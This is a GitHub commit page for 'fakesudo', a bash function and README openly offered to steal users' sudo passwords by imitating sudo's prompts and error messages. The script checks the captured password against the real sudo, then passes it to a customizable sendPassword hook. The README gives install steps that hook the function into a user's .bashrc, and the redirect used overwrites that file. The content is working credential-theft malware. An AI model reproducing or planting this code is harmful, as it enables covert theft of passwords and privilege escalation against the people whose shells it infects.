Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
mthbernardes committed Jan 10, 2019
0 parents commit 46bb0ee
Show file tree
Hide file tree
Showing 2 changed files with 56 additions and 0 deletions.
12 changes: 12 additions & 0 deletions README.md
@@ -0,0 +1,12 @@
# fsudo
It's just a bash function to steal the users password, while trying to be stealth handling scenarios like the user asking for the sudo help or the user giving the wrong password among other scenarios.

# Install
```bash
git clone https://github.com/mthbernardes/fakesudo.git
cd fakesudo
echo "source `pwd`/fakesudo.sh" > /home/$USER/.bashrc
```

# Get the password
Just edit the function `sendPassword` to do whatever you want with the password.
44 changes: 44 additions & 0 deletions fakesudo.sh
@@ -0,0 +1,44 @@
function sudo(){
sudo_original="/usr/bin/sudo"
param="${@}"
msg="[sudo] password for $USER: "
success=0
case $param in
-h)
$sudo_original -h
;;
-k)
$sudo_original -k
;;
-K)
$sudo_original -K
;;
-V)
$sudo_original -V
;;
*)
$sudo_original -k
for i in {1..3};do
read -s -p "$msg" passwd
echo "$passwd" | $sudo_original -S true 2> /dev/null
if [[ $? == 0 ]];then
success=1
echo
sendPassword
echo "$passwd" | $sudo_original -S $param
break
fi
if [[ $i != 3 ]];then
echo -e "\nSorry, try again."
fi
done
if [[ $success == 0 ]];then
echo -e "\nsudo: 3 incorrect password attempts"
fi
esac
}

function sendPassword(){
echo "WHATEVER YOU WANT TO DO"
}

0 comments on commit 46bb0ee

Please sign in to comment.